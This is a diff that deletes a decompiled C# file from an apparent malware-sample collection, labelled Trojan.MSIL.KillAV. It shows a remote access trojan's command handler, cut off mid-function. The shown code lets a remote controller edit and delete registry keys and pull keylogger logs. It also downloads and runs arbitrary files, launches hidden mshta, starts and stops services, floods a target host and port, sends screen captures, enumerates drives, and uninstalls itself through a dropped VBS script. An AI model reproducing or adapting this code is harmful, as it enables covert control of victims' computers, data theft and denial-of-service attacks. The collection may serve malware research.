a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/IND.cs +++ /dev/null @@ -1,2602 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: n.IND -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using Microsoft.VisualBasic.Devices; -using Microsoft.Win32; -using n.My; -using System; -using System.Diagnostics; -using System.Drawing; -using System.Drawing.Imaging; -using System.IO; -using System.Net.Sockets; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.ServiceProcess; -using System.Text; -using System.Threading; -using System.Windows.Forms; - -namespace n -{ - [StandardModule] - internal sealed class IND - { - public static string TM = Interaction.Environ("temp") + "\\"; - public static string Y = "^:^"; - public static int LPING; - public static chat Ca = new chat(); - public static bool bz = false; - private const int MOUSEEVENTF_ABSOLUTE = 32768; - private const int MOUSEEVENTF_LEFTDOWN = 2; - private const int MOUSEEVENTF_LEFTUP = 4; - private const int MOUSEEVENTF_MOVE = 1; - private const int MOUSEEVENTF_MIDDLEDOWN = 32; - private const int MOUSEEVENTF_MIDDLEUP = 64; - private const int MOUSEEVENTF_RIGHTDOWN = 8; - private const int MOUSEEVENTF_RIGHTUP = 16; - - public static void inddd(string T) - { - RichTextBox t1 = B.Chat.T1; - t1.Text = t1.Text + B.Chat.nick + " : " + T + "\r\n"; - } - - public static RegistryKey Rk(ref string p, ref bool W) - { - Array Instance = (Array) Strings.Split(p, "\\"); - object Left = NewLateBinding.LateIndexGet((object) Instance, new object[1] - { - (object) 0 - }, (string[]) null); - RegistryKey registryKey; - if (Operators.ConditionalCompareObjectEqual(Left, (object) "HKEY_CLASSES_ROOT", false)) - registryKey = MyProject.Computer.Registry.ClassesRoot.OpenSubKey(Strings.Replace(p, Conversions.ToString(Operators.ConcatenateObject(NewLateBinding.LateIndexGet((object) Instance, new object[1] - { - (object) 0 - }, (string[]) null), (object) "\\")), ""), (W ? 1 : 0) != 0); - else if (Operators.ConditionalCompareObjectEqual(Left, (object) "HKEY_CURRENT_USER", false)) - registryKey = MyProject.Computer.Registry.CurrentUser.OpenSubKey(Strings.Replace(p, Conversions.ToString(Operators.ConcatenateObject(NewLateBinding.LateIndexGet((object) Instance, new object[1] - { - (object) 0 - }, (string[]) null), (object) "\\")), ""), (W ? 1 : 0) != 0); - else if (Operators.ConditionalCompareObjectEqual(Left, (object) "HKEY_LOCAL_MACHINE", false)) - registryKey = MyProject.Computer.Registry.LocalMachine.OpenSubKey(Strings.Replace(p, Conversions.ToString(Operators.ConcatenateObject(NewLateBinding.LateIndexGet((object) Instance, new object[1] - { - (object) 0 - }, (string[]) null), (object) "\\")), ""), (W ? 1 : 0) != 0); - else if (Operators.ConditionalCompareObjectEqual(Left, (object) "HKEY_USERS", false)) - registryKey = MyProject.Computer.Registry.Users.OpenSubKey(Strings.Replace(p, Conversions.ToString(Operators.ConcatenateObject(NewLateBinding.LateIndexGet((object) Instance, new object[1] - { - (object) 0 - }, (string[]) null), (object) "\\")), ""), (W ? 1 : 0) != 0); - else if (Operators.ConditionalCompareObjectEqual(Left, (object) "HKEY_CURRENT_CONFIG", false)) - registryKey = MyProject.Computer.Registry.CurrentConfig.OpenSubKey(Strings.Replace(p, Conversions.ToString(Operators.ConcatenateObject(NewLateBinding.LateIndexGet((object) Instance, new object[1] - { - (object) 0 - }, (string[]) null), (object) "\\")), ""), (W ? 1 : 0) != 0); - return registryKey; - } - - public static void ind(byte[] Da) - { - int num1 = 0; - string str1 = Encoding.UTF8.GetString(Da); - int num2; - try - { - Array Instance1 = (Array) Strings.Split(str1, IND.Y); - string Left1 = NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 0 - }, (string[]) null).ToString(); - int num3; - if (Operators.CompareString(Left1, "#KON", false) == 0) - B.KON = Operators.ConditionalCompareObjectEqual(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null), (object) "T", false); - else if (Operators.CompareString(Left1, "#RG", false) == 0) - { - num1 = 1; - object Left2 = NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null); - if (Operators.ConditionalCompareObjectEqual(Left2, (object) "~", false)) - { - Array Instance2 = Instance1; - object[] objArray1 = new object[1]; - object[] objArray2 = objArray1; - int num4 = 2; - // ISSUE: variable of a boxed type - __Boxed local1 = (ValueType) num4; - objArray2[0] = (object) local1; - object[] Arguments = objArray1; - string str2 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance2, Arguments, (string[]) null)); - ref string local2 = ref str2; - bool flag = false; - ref bool local3 = ref flag; - RegistryKey registryKey1 = IND.Rk(ref local2, ref local3); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num4, - (object) str2 - }, (string[]) null, true, false); - RegistryKey registryKey2 = registryKey1; - string[] subKeyNames = registryKey2.GetSubKeyNames(); - int index1 = 0; - string Right; - string s; - while (index1 < subKeyNames.Length) - { - string str3 = subKeyNames[index1]; - string str4 = Right; - s = str3 + IND.Y + IND.Y + "Key"; - string str5 = API.ENB(ref s); - string y = IND.Y; - Right = str4 + str5 + y; - checked { ++index1; } - } - string[] valueNames = registryKey2.GetValueNames(); - int index2 = 0; - while (index2 < valueNames.Length) - { - string name = valueNames[index2]; - string str6 = registryKey2.GetValue(name, RuntimeHelpers.GetObjectValue(new object())).ToString(); - if (str6.Length > 200) - str6 = Strings.Mid(str6, 1, 200); - string str7 = Right; - s = name + IND.Y + str6 + IND.Y + "Value"; - string str8 = API.ENB(ref s); - string y = IND.Y; - Right = str7 + str8 + y; - checked { ++index2; } - } - B b = MyProject.Forms.B; - s = Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject((object) ("#RG" + IND.Y + "~" + IND.Y), NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 2 - }, (string[]) null)), (object) IND.Y), (object) Right)); - ref string local4 = ref s; - b.SEND(ref local4); - } - else if (Operators.ConditionalCompareObjectEqual(Left2, (object) "!", false)) - { - Array Instance3 = Instance1; - object[] objArray3 = new object[1]; - object[] objArray4 = objArray3; - int num5 = 2; - // ISSUE: variable of a boxed type - __Boxed local5 = (ValueType) num5; - objArray4[0] = (object) local5; - object[] Arguments = objArray3; - string str9 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance3, Arguments, (string[]) null)); - ref string local6 = ref str9; - bool flag = true; - ref bool local7 = ref flag; - RegistryKey registryKey = IND.Rk(ref local6, ref local7); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num5, - (object) str9 - }, (string[]) null, true, false); - registryKey.SetValue(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 3 - }, (string[]) null)), RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 4 - }, (string[]) null))); - } - else if (Operators.ConditionalCompareObjectEqual(Left2, (object) "@", false)) - { - Array Instance4 = Instance1; - object[] objArray5 = new object[1]; - object[] objArray6 = objArray5; - int num6 = 2; - // ISSUE: variable of a boxed type - __Boxed local8 = (ValueType) num6; - objArray6[0] = (object) local8; - object[] Arguments = objArray5; - string str10 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance4, Arguments, (string[]) null)); - ref string local9 = ref str10; - bool flag = true; - ref bool local10 = ref flag; - RegistryKey registryKey3 = IND.Rk(ref local9, ref local10); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num6, - (object) str10 - }, (string[]) null, true, false); - RegistryKey registryKey4 = registryKey3; - int num7 = checked (Instance1.Length - 1); - int num8 = 3; - while (num8 <= num7) - { - Array Instance5 = (Array) Strings.Split(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) num8 - }, (string[]) null)), "\\"); - if (Operators.ConditionalCompareObjectEqual(NewLateBinding.LateIndexGet((object) Instance5, new object[1] - { - (object) 1 - }, (string[]) null), (object) "Key", false)) - registryKey4.DeleteSubKeyTree(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance5, new object[1] - { - (object) 0 - }, (string[]) null))); - else - registryKey4.DeleteValue(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance5, new object[1] - { - (object) 0 - }, (string[]) null))); - checked { ++num8; } - } - } - else if (Operators.ConditionalCompareObjectEqual(Left2, (object) "#", false)) - { - Array Instance6 = Instance1; - object[] objArray7 = new object[1]; - object[] objArray8 = objArray7; - int num9 = 2; - // ISSUE: variable of a boxed type - __Boxed local11 = (ValueType) num9; - objArray8[0] = (object) local11; - object[] Arguments = objArray7; - string str11 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance6, Arguments, (string[]) null)); - ref string local12 = ref str11; - bool flag = true; - ref bool local13 = ref flag; - RegistryKey registryKey = IND.Rk(ref local12, ref local13); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num9, - (object) str11 - }, (string[]) null, true, false); - registryKey.CreateSubKey(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 3 - }, (string[]) null))); - } - } - else if (Operators.CompareString(Left1, "#k", false) == 0) - { - num1 = 1; - string str12 = "lg"; - ref string local14 = ref str12; - string str13 = ".."; - ref string local15 = ref str13; - string s = NK.GetValue(ref local14, ref local15); - B b = MyProject.Forms.B; - string str14 = "#k" + IND.Y + API.ENB(ref s); - ref string local16 = ref str14; - b.SEND(ref local16); - } - else if (Operators.CompareString(Left1, "#X", false) == 0) - { - num1 = 0; - int offset = checked (8 + NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - unchecked ((object) 1) - }, (string[]) null).ToString().Length); - MemoryStream memoryStream = new MemoryStream(); - memoryStream.Write(Da, offset, checked (Da.Length - offset)); - byte[] array = memoryStream.ToArray(); - bool flag = false; - ref bool local = ref flag; - byte[] bytes = API.ZIP(array, ref local); - int num10 = 0; - do - { - if (File.Exists(Conversions.ToString(Operators.ConcatenateObject((object) (IND.TM + Conversions.ToString(num10) + "."), NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null))))) - { - try - { - File.Delete(Conversions.ToString(Operators.ConcatenateObject((object) (IND.TM + Conversions.ToString(num10) + "."), NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null)))); - File.WriteAllBytes(Conversions.ToString(Operators.ConcatenateObject((object) (IND.TM + Conversions.ToString(num10) + "."), NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null))), bytes); - NewLateBinding.LateCall((object) null, typeof (Process), "Start", new object[1] - { - Operators.ConcatenateObject((object) (IND.TM + Conversions.ToString(num10) + "."), NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null)) - }, (string[]) null, (System.Type[]) null, (bool[]) null, true); - break; - } - catch (Exception ex) - { - int lErl = num3; - ProjectData.SetProjectError(ex, lErl); - ProjectData.ClearProjectError(); - } - checked { ++num10; } - } - else - { - File.WriteAllBytes(Conversions.ToString(Operators.ConcatenateObject((object) (IND.TM + Conversions.ToString(num10) + "."), NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null))), bytes); - NewLateBinding.LateCall((object) null, typeof (Process), "Start", new object[1] - { - Operators.ConcatenateObject((object) (IND.TM + Conversions.ToString(num10) + "."), NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null)) - }, (string[]) null, (System.Type[]) null, (bool[]) null, true); - break; - } - } - while (num10 <= 999); - } - else if (Operators.CompareString(Left1, "##", false) == 0) - { - num1 = 5; - MyProject.Computer.Registry.CurrentUser.SetValue(B.plg, RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null))); - B b = MyProject.Forms.B; - string str15 = "plugin"; - ref string local = ref str15; - b.SEND(ref local); - } - else if (Operators.CompareString(Left1, "#Rec", false) != 0) - { - if (Operators.CompareString(Left1, "#ser0", false) == 0) - { - num1 = 1; - ServiceController[] services = ServiceController.GetServices(); - int index = 0; - string str16; - string s; - while (index < services.Length) - { - ServiceController serviceController = services[index]; - string str17 = str16; - string y = IND.Y; - s = serviceController.ServiceName + "{}" + Strings.Replace(Strings.Replace(Conversions.ToString(serviceController.CanStop), Conversions.ToString(true), "Yes"), Conversions.ToString(false), "No") + "{}" + serviceController.Status.ToString() + "{}" + serviceController.DisplayName; - string str18 = API.ENB(ref s); - str16 = str17 + y + str18; - checked { ++index; } - } - B b = MyProject.Forms.B; - s = "#ser0" + str16; - ref string local = ref s; - b.SEND(ref local); - } - else if (Operators.CompareString(Left1, "#ser1", false) == 0) - { - num1 = 1; - ServiceController[] services = ServiceController.GetServices(); - int index = 0; - while (index < services.Length) - { - ServiceController serviceController = services[index]; - if (Operators.ConditionalCompareObjectEqual((object) serviceController.ServiceName, NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null), false)) - serviceController.Start(); - checked { ++index; } - } - } - else if (Operators.CompareString(Left1, "#ser2", false) == 0) - { - num1 = 1; - ServiceController[] services = ServiceController.GetServices(); - int index = 0; - while (index < services.Length) - { - ServiceController serviceController = services[index]; - if (Operators.ConditionalCompareObjectEqual((object) serviceController.ServiceName, NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null), false)) - serviceController.Stop(); - checked { ++index; } - } - } - else if (Operators.CompareString(Left1, "#R", false) == 0) - { - num1 = 0; - string str19 = "vname"; - ref string local17 = ref str19; - Array Instance7 = Instance1; - object[] objArray9 = new object[1]; - object[] objArray10 = objArray9; - int num11 = 1; - // ISSUE: variable of a boxed type - __Boxed local18 = (ValueType) num11; - objArray10[0] = (object) local18; - object[] Arguments = objArray9; - string str20 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance7, Arguments, (string[]) null)); - ref string local19 = ref str20; - NK.SetValue(ref local17, ref local19); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num11, - (object) str20 - }, (string[]) null, true, false); - B.Vname = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null)); - B b = MyProject.Forms.B; - string str21 = "#R" + IND.Y + B.Vname; - ref string local20 = ref str21; - b.SEND(ref local20); - } - else if (Operators.CompareString(Left1, "p", false) == 0) - { - B b = MyProject.Forms.B; - string str22 = "p"; - ref string local = ref str22; - b.SEND(ref local); - } - else if (Operators.CompareString(Left1, "#0", false) == 0) - { - num1 = 0; - B b1 = MyProject.Forms.B; - string str23 = "#red"; - ref string local21 = ref str23; - b1.SEND(ref local21); - FLD fld1 = new FLD(); - FLD fld2 = fld1; - Array Instance8 = Instance1; - object[] objArray11 = new object[1]; - object[] objArray12 = objArray11; - int num12 = 1; - // ISSUE: variable of a boxed type - __Boxed local22 = (ValueType) num12; - objArray12[0] = (object) local22; - object[] Arguments1 = objArray11; - string s1 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance8, Arguments1, (string[]) null)); - string Expression1 = API.DEB(ref s1); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num12, - (object) s1 - }, (string[]) null, true, false); - string y1 = IND.Y; - string str24 = Strings.Split(Expression1, y1)[0]; - fld2.HOST = str24; - FLD fld3 = fld1; - Array Instance9 = Instance1; - object[] objArray13 = new object[1]; - object[] objArray14 = objArray13; - int num13 = 1; - // ISSUE: variable of a boxed type - __Boxed local23 = (ValueType) num13; - objArray14[0] = (object) local23; - object[] Arguments2 = objArray13; - string s2 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance9, Arguments2, (string[]) null)); - string Expression2 = API.DEB(ref s2); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num13, - (object) s2 - }, (string[]) null, true, false); - string y2 = IND.Y; - int integer1 = Conversions.ToInteger(Strings.Split(Expression2, y2)[1]); - fld3.Port = integer1; - fld1.pk = new byte[1001]; - FLD fld4 = fld1; - Array Instance10 = Instance1; - object[] objArray15 = new object[1]; - object[] objArray16 = objArray15; - int num14 = 1; - // ISSUE: variable of a boxed type - __Boxed local24 = (ValueType) num14; - objArray16[0] = (object) local24; - object[] Arguments3 = objArray15; - string s3 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance10, Arguments3, (string[]) null)); - string Expression3 = API.DEB(ref s3); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num14, - (object) s3 - }, (string[]) null, true, false); - string y3 = IND.Y; - int integer2 = Conversions.ToInteger(Strings.Split(Expression3, y3)[2]); - fld4.Count = integer2; - FLD fld5 = fld1; - bool flag = false; - ref bool local25 = ref flag; - fld5.Start(ref local25); - B b2 = MyProject.Forms.B; - string str25 = "#Bla"; - ref string local26 = ref str25; - b2.SEND(ref local26); - } - else if (Operators.CompareString(Left1, "#1", false) == 0) - { - num1 = 0; - B b3 = MyProject.Forms.B; - string str26 = "#red"; - ref string local27 = ref str26; - b3.SEND(ref local27); - FLD fld6 = new FLD(); - FLD fld7 = fld6; - Array Instance11 = Instance1; - object[] objArray17 = new object[1]; - object[] objArray18 = objArray17; - int num15 = 1; - // ISSUE: variable of a boxed type - __Boxed local28 = (ValueType) num15; - objArray18[0] = (object) local28; - object[] Arguments4 = objArray17; - string s4 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance11, Arguments4, (string[]) null)); - string Expression4 = API.DEB(ref s4); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num15, - (object) s4 - }, (string[]) null, true, false); - string y4 = IND.Y; - string str27 = Strings.Split(Expression4, y4)[0]; - fld7.HOST = str27; - FLD fld8 = fld6; - Array Instance12 = Instance1; - object[] objArray19 = new object[1]; - object[] objArray20 = objArray19; - int num16 = 1; - // ISSUE: variable of a boxed type - __Boxed local29 = (ValueType) num16; - objArray20[0] = (object) local29; - object[] Arguments5 = objArray19; - string s5 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance12, Arguments5, (string[]) null)); - string Expression5 = API.DEB(ref s5); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num16, - (object) s5 - }, (string[]) null, true, false); - string y5 = IND.Y; - int integer3 = Conversions.ToInteger(Strings.Split(Expression5, y5)[1]); - fld8.Port = integer3; - fld6.pk = new byte[1001]; - FLD fld9 = fld6; - Array Instance13 = Instance1; - object[] objArray21 = new object[1]; - object[] objArray22 = objArray21; - int num17 = 1; - // ISSUE: variable of a boxed type - __Boxed local30 = (ValueType) num17; - objArray22[0] = (object) local30; - object[] Arguments6 = objArray21; - string s6 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance13, Arguments6, (string[]) null)); - string Expression6 = API.DEB(ref s6); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num17, - (object) s6 - }, (string[]) null, true, false); - string y6 = IND.Y; - int integer4 = Conversions.ToInteger(Strings.Split(Expression6, y6)[2]); - fld9.Count = integer4; - FLD fld10 = fld6; - bool flag = true; - ref bool local31 = ref flag; - fld10.Start(ref local31); - B b4 = MyProject.Forms.B; - string str28 = "#Bla"; - ref string local32 = ref str28; - b4.SEND(ref local32); - } - else if (Operators.CompareString(Left1, "#2", false) == 0) - { - num1 = 0; - string str29 = "." + Strings.Split(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null)), ".")[checked (Strings.Split(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - unchecked ((object) 1) - }, (string[]) null)), ".").Length - 1)]; - int num18 = 0; - while (File.Exists(Interaction.Environ("appdata") + "\\" + Conversions.ToString(num18) + str29)) - { - try - { - File.Delete(Interaction.Environ("appdata") + "\\" + Conversions.ToString(num18) + str29); - int num19; - checked { ++num19; } - if (num19 <= 5) - continue; - goto label_300; - } - catch (Exception ex) - { - int lErl = num3; - ProjectData.SetProjectError(ex, lErl); - ProjectData.ClearProjectError(); - } - checked { ++num18; } - if (num18 > 9999) - goto label_300; - } - string fileName = Interaction.Environ("appdata") + "\\" + Conversions.ToString(num18) + str29; - Network network = MyProject.Computer.Network; - object[] objArray23 = new object[2]; - object[] objArray24 = objArray23; - Array Instance14 = Instance1; - object[] objArray25 = new object[1]; - object[] objArray26 = objArray25; - int num20 = 1; - // ISSUE: variable of a boxed type - __Boxed local = (ValueType) num20; - objArray26[0] = (object) local; - object[] Arguments7 = objArray25; - object objectValue = RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet((object) Instance14, Arguments7, (string[]) null)); - objArray24[0] = objectValue; - objArray23[1] = (object) fileName; - object[] objArray27 = objArray23; - object[] Arguments8 = objArray27; - bool[] flagArray = new bool[2]{ true, true }; - bool[] CopyBack = flagArray; - NewLateBinding.LateCall((object) network, (System.Type) null, "DownloadFile", Arguments8, (string[]) null, (System.Type[]) null, CopyBack, true); - if (flagArray[0]) - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num20, - RuntimeHelpers.GetObjectValue(objArray27[0]) - }, (string[]) null, true, false); - if (flagArray[1]) - fileName = (string) Conversions.ChangeType(RuntimeHelpers.GetObjectValue(objArray27[1]), typeof (string)); - Process.Start(fileName); - } - else if (Operators.CompareString(Left1, "#3", false) == 0) - { - num1 = 0; - MemoryStream memoryStream = new MemoryStream(); - byte[] bytes1 = Encoding.Default.GetBytes("#4" + IND.Y); - memoryStream.Write(bytes1, 0, bytes1.Length); - Encoding encoding = Encoding.Default; - ref byte[] local33 = ref C.Plug; - string str30 = "plugin.C"; - ref string local34 = ref str30; - string str31 = "Pass"; - ref string local35 = ref str31; - object obj = (object) null; - ref object local36 = ref obj; - string s7 = Conversions.ToString(C.inv(ref local33, ref local34, ref local35, ref local36)); - string s8 = API.ENB(ref s7); - byte[] bytes2 = encoding.GetBytes(s8); - bool flag = true; - ref bool local37 = ref flag; - byte[] buffer = API.ZIP(bytes2, ref local37); - memoryStream.Write(buffer, 0, buffer.Length); - MyProject.Forms.B.WC.SendData(memoryStream.ToArray()); - } - else if (Operators.CompareString(Left1, "#4", false) == 0) - { - num1 = 0; - try - { - MyProject.Forms.B.BW.B.Dispose(); - A.fj.Dispose(); - } - catch (Exception ex) - { - int lErl = num3; - ProjectData.SetProjectError(ex, lErl); - ProjectData.ClearProjectError(); - } - if (B.UU) - { - try - { - Process[] processesByName = Process.GetProcessesByName("wscript"); - int index = 0; - while (index < processesByName.Length) - { - Process process = processesByName[index]; - try - { - process.Kill(); - } - catch (Exception ex) - { - int lErl = num3; - ProjectData.SetProjectError(ex, lErl); - ProjectData.ClearProjectError(); - } - checked { ++index; } - } - } - catch (Exception ex) - { - int lErl = num3; - ProjectData.SetProjectError(ex, lErl); - ProjectData.ClearProjectError(); - } - } - if (Operators.ConditionalCompareObjectEqual(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null), (object) "!", false)) - { - NK.CLEAR(); - try - { - DriveInfo[] drives = DriveInfo.GetDrives(); - int index = 0; - while (index < drives.Length) - { - DriveInfo driveInfo = drives[index]; - if (driveInfo.IsReady) - { - if (driveInfo.TotalFreeSpace > 0L) - { - try - { - if (File.Exists(driveInfo.Name + B.Uo)) - File.Delete(driveInfo.Name + B.Uo); - } - catch (Exception ex) - { - int lErl = num3; - ProjectData.SetProjectError(ex, lErl); - ProjectData.ClearProjectError(); - } - } - } - checked { ++index; } - } - } - catch (Exception ex) - { - int lErl = num3; - ProjectData.SetProjectError(ex, lErl); - ProjectData.ClearProjectError(); - } - try - { - string path = Application.StartupPath + "\\j.vbs"; - string w = n.My.Resources.Resources.W; - string contents = API.DEB(ref w).Replace("NJ", Application.ExecutablePath); - File.WriteAllText(path, contents); - Process.Start(Application.StartupPath + "\\j.vbs"); - } - catch (Exception ex) - { - int lErl = num3; - ProjectData.SetProjectError(ex, lErl); - ProjectData.ClearProjectError(); - } - } - ProjectData.EndApp(); - } - else if (Operators.CompareString(Left1, "#5", false) == 0) - { - num1 = 0; - Process process = Process.Start(new ProcessStartInfo() - { - FileName = "mshta.exe", - Arguments = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null)), - CreateNoWindow = true, - WindowStyle = ProcessWindowStyle.Hidden - }); - Thread.Sleep(60000); - try - { - process.Kill(); - } - catch (Exception ex) - { - int lErl = num3; - ProjectData.SetProjectError(ex, lErl); - ProjectData.ClearProjectError(); - } - } - else if (Operators.CompareString(Left1, "#6", false) == 0) - { - num1 = 0; - try - { - MyProject.Forms.B.BW.B.Dispose(); - if (A.fj.Id > 1) - A.fj.Kill(); - } - catch (Exception ex) - { - int lErl = num3; - ProjectData.SetProjectError(ex, lErl); - ProjectData.ClearProjectError(); - } - Process.Start(Application.ExecutablePath); - ProjectData.EndApp(); - } - else if (Operators.CompareString(Left1, "#7", false) == 0) - { - num1 = 2; - Array Instance15 = Instance1; - object[] objArray28 = new object[1]; - object[] objArray29 = objArray28; - int num21 = 1; - // ISSUE: variable of a boxed type - __Boxed local38 = (ValueType) num21; - objArray29[0] = (object) local38; - object[] Arguments = objArray28; - int integer = Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance15, Arguments, (string[]) null)); - byte[] numArray = sc.gc(ref integer); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num21, - (object) integer - }, (string[]) null, true, false); - byte[] buffer = numArray; - if (buffer.Length == 0) - { - B b = MyProject.Forms.B; - string str32 = "#5" + IND.Y + Conversions.ToString(0); - ref string local39 = ref str32; - b.SEND(ref local39); - } - else - { - MemoryStream memoryStream = new MemoryStream(); - memoryStream.Write(Encoding.Default.GetBytes("#6" + IND.Y), 0, checked (IND.Y.Length + 2)); - memoryStream.Write(buffer, 0, buffer.Length); - MyProject.Forms.B.WC.SendData(memoryStream.ToArray()); - } - } - else if (Operators.CompareString(Left1, "#8", false) == 0) - { - string Right = "\r\n"; - string str33; - string s = Conversions.ToString(Operators.AddObject((object) (str33 + "pC InfoX*X==" + Right + "PC\\UserX*X" + B.PC + Right + "CountryX*X" + API.Gc() + Right + "OSX*X" + MyProject.Computer.Info.OSFullName.Replace("Windows", "").Replace(" ", " ").Replace("Microsoft", "").Replace("®", "").Replace("™", "") + Right), Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject((object) "ProcessorX*X", MyProject.Computer.Registry.LocalMachine.OpenSubKey("HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0").GetValue("~mhz")), (object) " *"), (object) Environment.ProcessorCount), (object) "~MHZ"), (object) Right))) + "RAMX*X" + Strings.Format((object) ((double) MyProject.Computer.Info.TotalPhysicalMemory / 1073741824.0), "#0.00 GB") + Right + "UpTimeX*X" + Strings.Split(Strings.Mid(Conversions.ToString((double) Environment.TickCount / 3600000.0), 1, 5), ".")[0] + " :Hours" + Right + "Server InfoX*X==" + Right + "ServerX*X" + API.DEB(ref B.Vname) + "_" + sc.HWD() + Right + "Host:PortX*X" + B.no + Right + "DirectoryX*X" + Application.StartupPath + Right + "ExeNameX*X" + AppDomain.CurrentDomain.FriendlyName + Right + "Process IDX*X" + Conversions.ToString(Process.GetCurrentProcess().Id) + Right + "StartupX*X" + B.SU + Right + "PersistantX*X" + Conversions.ToString(B.UU) + Right + "SpreadX*X" + B.spread + Right + "MutexX*X" + B.mU + Right + "First RunX*X" + B.FR + Right + "RegKeyX*X" + NK.Key + Right + "Firewall BypassX*X" + Strings.Replace(B.Fw.ToString(), "True", "Yes").Replace("False", "No"); - B b = MyProject.Forms.B; - string str34 = "#7" + IND.Y + API.ENB(ref s); - ref string local = ref str34; - b.SEND(ref local); - } - else if (Operators.CompareString(Left1, "#9", false) == 0) - { - num1 = 6; - string str35; - try - { - DriveInfo[] drives = DriveInfo.GetDrives(); - int index = 0; - while (index < drives.Length) - { - DriveInfo driveInfo = drives[index]; - try - { - if (driveInfo.IsReady) - { - string str36 = str35; - string y = IND.Y; - string s = driveInfo.Name + IND.Y + driveInfo.DriveType.ToString(); - string str37 = API.ENB(ref s); - str35 = str36 + y + str37; - } - } - catch (Exception ex) - { - int lErl = num3; - ProjectData.SetProjectError(ex, lErl); - ProjectData.ClearProjectError(); - } - checked { ++index; } - } - } - catch (Exception ex) - { - int lErl = num3; - ProjectData.SetProjectError(ex, lErl); - ProjectData.ClearProjectError(); - } - string[] strArray1 = "UserProfile.Public.ProgramFiles.ProgramData.AppData.LocalAppData.WinDir.Temp".Split('.'); - string str38 = str35; - string y7 = IND.Y; - string s9 = "Desktop" + IND.Y + "DIR" + IND.Y + MyProject.Computer.FileSystem.SpecialDirectories.Desktop; - string str39 = API.ENB(ref s9); - string str40 = str38 + y7 + str39; - string[] strArray2 = strArray1; - int index3 = 0; - while (index3 < strArray2.Length) - { - string Expression = strArray2[index3]; - try - { - string str41 = Interaction.Environ(Expression); - if (str41.Length > 0) - { - string str42 = str40; - string y8 = IND.Y; - string s10 = Expression + IND.Y + "DIR" + IND.Y + str41; - string str43 = API.ENB(ref s10); - str40 = str42 + y8 + str43; - } - } - catch 